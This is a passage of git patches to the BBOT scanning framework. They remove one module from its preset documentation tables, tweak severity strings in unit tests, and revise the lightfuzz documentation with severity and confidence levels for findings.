`sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") ## **code-enum** @@ -271,7 +271,7 @@ Everything everywhere all at once -Modules: [90]("`anubisdb`, `apkpure`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `badsecrets`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `code_repository`, `crt_db`, `crt`, `dehashed`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `docker_pull`, `dockerhub`, `emailformat`, `ffuf_shortnames`, `ffuf`, `filedownload`, `fullhunt`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `gowitness`, `graphql_introspection`, `hackertarget`, `httpx`, `hunt`, `hunterio`, `iis_shortnames`, `ipneighbor`, `jadx`, `leakix`, `myssl`, `ntlm`, `oauth`, `otx`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `passivetotal`, `pgp`, `postman_download`, `postman`, `rapiddns`, `reflected_parameters`, `robots`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `skymem`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `trufflehog`, `urlscan`, `virustotal`, `wayback`") +Modules: [89]("`anubisdb`, `apkpure`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `badsecrets`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `code_repository`, `crt_db`, `crt`, `dehashed`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `docker_pull`, `dockerhub`, `emailformat`, `ffuf_shortnames`, `ffuf`, `filedownload`, `fullhunt`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `gowitness`, `graphql_introspection`, `hackertarget`, `httpx`, `hunt`, `hunterio`, `iis_shortnames`, `ipneighbor`, `jadx`, `leakix`, `myssl`, `ntlm`, `oauth`, `otx`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `passivetotal`, `pgp`, `postman_download`, `postman`, `rapiddns`, `reflected_parameters`, `robots`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `skymem`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `trufflehog`, `urlscan`, `virustotal`, `wayback`") ## **lightfuzz-heavy** @@ -683,7 +683,7 @@ Enumerate subdomains via APIs, brute-force -Modules: [51]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") +Modules: [50]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") ## **tech-detect** @@ -724,7 +724,7 @@ Quick web scan -Modules: [18]("`azure_realm`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `ffuf_shortnames`, `filedownload`, `git`, `graphql_introspection`, `httpx`, `iis_shortnames`, `ntlm`, `oauth`, `robots`, `securitytxt`, `sslcert`") +Modules: [17]("`baddns`, `badsecrets`, `bucket_amazon`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `ffuf_shortnames`, `filedownload`, `git`, `graphql_introspection`, `httpx`, `iis_shortnames`, `ntlm`, `oauth`, `robots`, `securitytxt`, `sslcert`") ## **web-screenshots** @@ -770,7 +770,7 @@ Aggressive web scan -Modules: [32]("`ajaxpro`, `aspnet_bin_exposure`, `azure_realm`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`") +Modules: [31]("`ajaxpro`, `aspnet_bin_exposure`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`") <!-- END BBOT PRESET YAML --> ## Table of Default Presets @@ -778,33 +778,33 @@ Modules: [32]("`ajaxpro`, `aspnet_bin_exposure`, `azure_realm`, `baddns`, `badse Here is a the same data, but in a table: <!-- BBOT PRESETS --> -| Preset | Category | Description | # Modules | Modules | -|----------------------|------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | -| kitchen-sink | | Everything everywhere all at once | 90 | anubisdb, apkpure, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | -| lightfuzz-heavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-medium | web | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-superheavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-intense | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | -| web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | -| web-thorough | | Aggressive web scan | 32 | ajaxpro, aspnet_bin_exposure, azure_realm, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | +| Preset | Category | Description | # Modules | Modules | +|----------------------|------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 57 | anubisdb, asn, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | +| kitchen-sink | | Everything everywhere all at once | 89 | anubisdb, apkpure, asn, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | +| lightfuzz-heavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | +| lightfuzz-medium | web | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-superheavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | +| nuclei-intense | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | +| spider | | Recursive web spider | 1 | httpx | +| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 50 | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | +| web-basic | | Quick web scan | 17 | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | +| web-thorough | | Aggressive web scan | 31 | ajaxpro, aspnet_bin_exposure, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | <!-- END BBOT PRESETS --> From cd59c2f303f7f4f586c2db4f71fe005402c170f0 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 19 Feb 2026 15:32:12 -0500 Subject: [PATCH 236/912] fix more tests --- bbot/test/test_step_1/test_events.py | 2 +- bbot/test/test_step_1/test_helpers.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index c8776b122e..b72d407777 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -338,7 +338,7 @@ async def test_events(events, helpers): test_vuln = scan.make_event( { "host": "EVILcorp.com", - "severity": "iNformational ", + "severity": "iNfo ", "confidence": "HIGH", "description": "asdf", "name": "Test Finding", diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index f6485bdc4f..fa54bcbe7f 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -444,8 +444,8 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.validate_url("!@#$") # severities - assert helpers.validators.validate_severity(" iNformational") == "INFO" - assert helpers.validators.soft_validate(" iNformational", "severity") is True + assert helpers.validators.validate_severity(" iNfo") == "INFO" + assert helpers.validators.soft_validate(" iNfo", "severity") is True assert helpers.validators.soft_validate("NOPE", "severity") is False with pytest.raises(ValueError): helpers.validators.validate_severity("NOPE") From e14a2ff091023b8b56569378c1a857c30a2236a0 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 23 Feb 2026 15:23:38 -0500 Subject: [PATCH 237/912] update lightfuzz docs for 3.0 --- bbot/presets/web/lightfuzz-heavy.yml | 2 +- bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-medium.yml | 2 +- bbot/presets/web/lightfuzz-superheavy.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 2 +- docs/modules/lightfuzz.md | 253 +++++++++++++++++----- 6 files changed, 208 insertions(+), 55 deletions(-) diff --git a/bbot/presets/web/lightfuzz-heavy.yml b/bbot/presets/web/lightfuzz-heavy.yml index 0dd1db4c4b..35cc8d972c 100644 --- a/bbot/presets/web/lightfuzz-heavy.yml +++ b/bbot/presets/web/lightfuzz-heavy.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. +description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. include: - lightfuzz-medium diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index a319928f9b..536a75c561 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. +description: Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. modules: - httpx diff --git a/bbot/presets/web/lightfuzz-medium.yml b/bbot/presets/web/lightfuzz-medium.yml index ceb15ebbeb..57bd91ff09 100644 --- a/bbot/presets/web/lightfuzz-medium.yml +++ b/bbot/presets/web/lightfuzz-medium.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. +description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. include: - lightfuzz-light diff --git a/bbot/presets/web/lightfuzz-superheavy.yml b/bbot/presets/web/lightfuzz-superheavy.yml index f5149c15c1..7415e2ccfe 100644 --- a/bbot/presets/web/lightfuzz-superheavy.yml +++ b/bbot/presets/web/lightfuzz-superheavy.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. include: - lightfuzz-heavy diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index ba09348861..8806c7bd00 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. +description: Discover web parameters and lightly fuzz them, limited to just GET-based XSS. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. modules: - httpx diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index ecaf733a4c..5ced2e0ff3 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -6,114 +6,267 @@ ### What is Lightfuzz? -Lightfuzz is a lightweight web vulnerability scanner built into BBOT. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. +Lightfuzz is a lightweight web fuzzer built into BBOT. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. ### What is Lightfuzz NOT? Lightfuzz is not, does not attempt to be, and will never be, a replacement for a full-blown web application scanner. You should not, for example, be running Lightfuzz as a replacement for Burp Suite scanning. Burp Suite scanner will always find more (even though we can find a few things it can't). -It will also not help you *exploit* vulnerabilities. It's job is to point out vulnerabilities, or likely vulnerabilities, or potential vulnerabilities, and then pass them off to you. A great deal of the overhead with traditional scanners comes in the confirmation phase, or in testing exploitation payloads. +It will also not help you *exploit* what it finds. Its job is to point out likely issues and then pass them off to you. A great deal of the overhead with traditional scanners comes in the confirmation phase, or in testing exploitation payloads. -So for example, Lightfuzz may detect an XSS vulnerability for you. But its NOT going to help you figure out which tag you need to use to get around a security filter, or give you any kind of a final payload. It's simply going to tell you that the contents of a given GET parameter are being reflected and that it was able to render an unmodified HTML tag. The rest is up to you. +So for example, Lightfuzz may detect an XSS vulnerability for you. But it's NOT going to help you figure out which tag you need to use to get around a security filter, or give you any kind of a final payload. It's simply going to tell you that the contents of a given GET parameter are being reflected and that it was able to render an unmodified HTML tag. The rest is up to you. ### False Positives -Significant work has gone into minimizing false positives. However, due to the nature of how Lightfuzz works, they are a reality. Random hiccups in network connectivity can cause them in some cases, odd WAF behavior can account for others. +Significant work has gone into minimizing false positives. However, due to the nature of how Lightfuzz works, they are a reality. Random hiccups in network connectivity can cause them in some cases, odd WAF behavior can account for others. -If you see a false positive that you feel is occuring too often or could easily be prevented, please open a GitHub issue and we will take a look! +If you see a false positive that you feel is occurring too often or could easily be prevented, please open a GitHub issue and we will take a look! ### Deadly module Lightfuzz currently has the `deadly` flag. This is applied to the most aggressive modules to enforce an additional check, requiring explicit acknowledgement of the risk using the `--allow-deadly` command line flag. -## Modules +## Findings, Severity, and Confidence -Lightfuzz is divided into numerous "submodules". These would typically be ran all together, but they can be configured to be run individually or in any desired configuration. This would be done with the aide of a `preset`, more on those in a moment. +All lightfuzz output is emitted as `FINDING` events. Each finding has two key attributes: **severity** and **confidence**. + +### Severity + +Severity represents how bad the issue is *if it's real*. Levels, from worst to least: + +| Severity | Meaning | +|---|---| +| **CRITICAL** | Full system compromise likely (e.g., command injection, SSTI) | +| **HIGH** | Significant security impact (e.g., SQL injection, path traversal, unsafe deserialization) | +| **MEDIUM** | Moderate impact, often client-side (e.g., XSS, ESI) | +| **LOW** | Minor or limited-scope issue | +| **INFORMATIONAL** | Interesting observation, not directly exploitable (e.g., cryptographic parameter detected) | + +### Confidence + +Confidence represents how sure lightfuzz is that the finding is real, independent of severity. This is critical for triaging results — a HIGH-severity finding with LOW confidence needs manual verification, while a CRITICAL-severity finding with CONFIRMED confidence is almost certainly real. + +| Confidence | Indicator | Meaning | Example | +|---|---|---|---| +| **CONFIRMED** | 🟣 | Out-of-band proof of exploitation | Blind command injection via DNS interaction 